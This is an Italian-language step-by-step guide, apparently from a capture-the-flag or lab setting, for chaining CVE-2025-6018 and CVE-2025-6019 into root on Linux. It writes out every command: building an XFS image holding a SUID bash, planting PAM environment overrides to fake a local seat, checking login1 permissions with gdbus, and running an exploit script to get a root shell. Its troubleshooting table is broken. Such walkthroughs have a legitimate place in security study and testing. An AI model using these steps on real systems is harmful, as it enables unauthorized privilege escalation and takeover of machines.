CVE-2025-6018 + CVE-2025-6019 Guida all'Escalation dei Privilegi
中文
📋 Passaggi Rapidi per lo Sfruttamento
Passo 1: Preparare l'Immagine XFS (Macchina Locale)
# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt
# Verify (should show 300M)
ls -lh xfs.image
Passo 2: Caricare i File sul Target
Passo 3: Primo Accesso - Configurare PAM
# SSH login to target
ssh [email protected]
# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
# Verify configuration
cat ~/.pam_environment
# 🔥 Critical: Logout (to activate PAM config)
exit
Passo 4: Secondo Accesso - Eseguire l'Escalation dei Privilegi
# Re-login via SSH (PAM config now active)
ssh [email protected]
# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# Execute privilege escalation script
bash exp.sh
✅ Indicatori di Successo
Se lo sfruttamento riesce, dovresti vedere:
✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!
════════════════════════════════════════════════════════════
║ ROOT FLAG ║
║ <flag_here> ║
════════════════════════════════════════════════════════════
bash-5.2# whoami
root
🔧 Risoluzione dei Problemi
| Problema | Soluzione |
|---|
| restituisce |
📌 Punti Chiave
- ✅ Devi fare logout e re-login: La configurazione PAM ha effetto solo nelle nuove sessioni
- ✅ Verifica CanReboot: Conferma che restituisca
('yes',) prima di eseguire lo script
- ✅ Usa l'accesso SSH: Non usare esecuzioni di comandi tipo
ssh -t user@host "cmd"
🐱 Gatto Custode
Se fallisce, assicurati che ogni passaggio sia eseguito rigorosamente in ordine!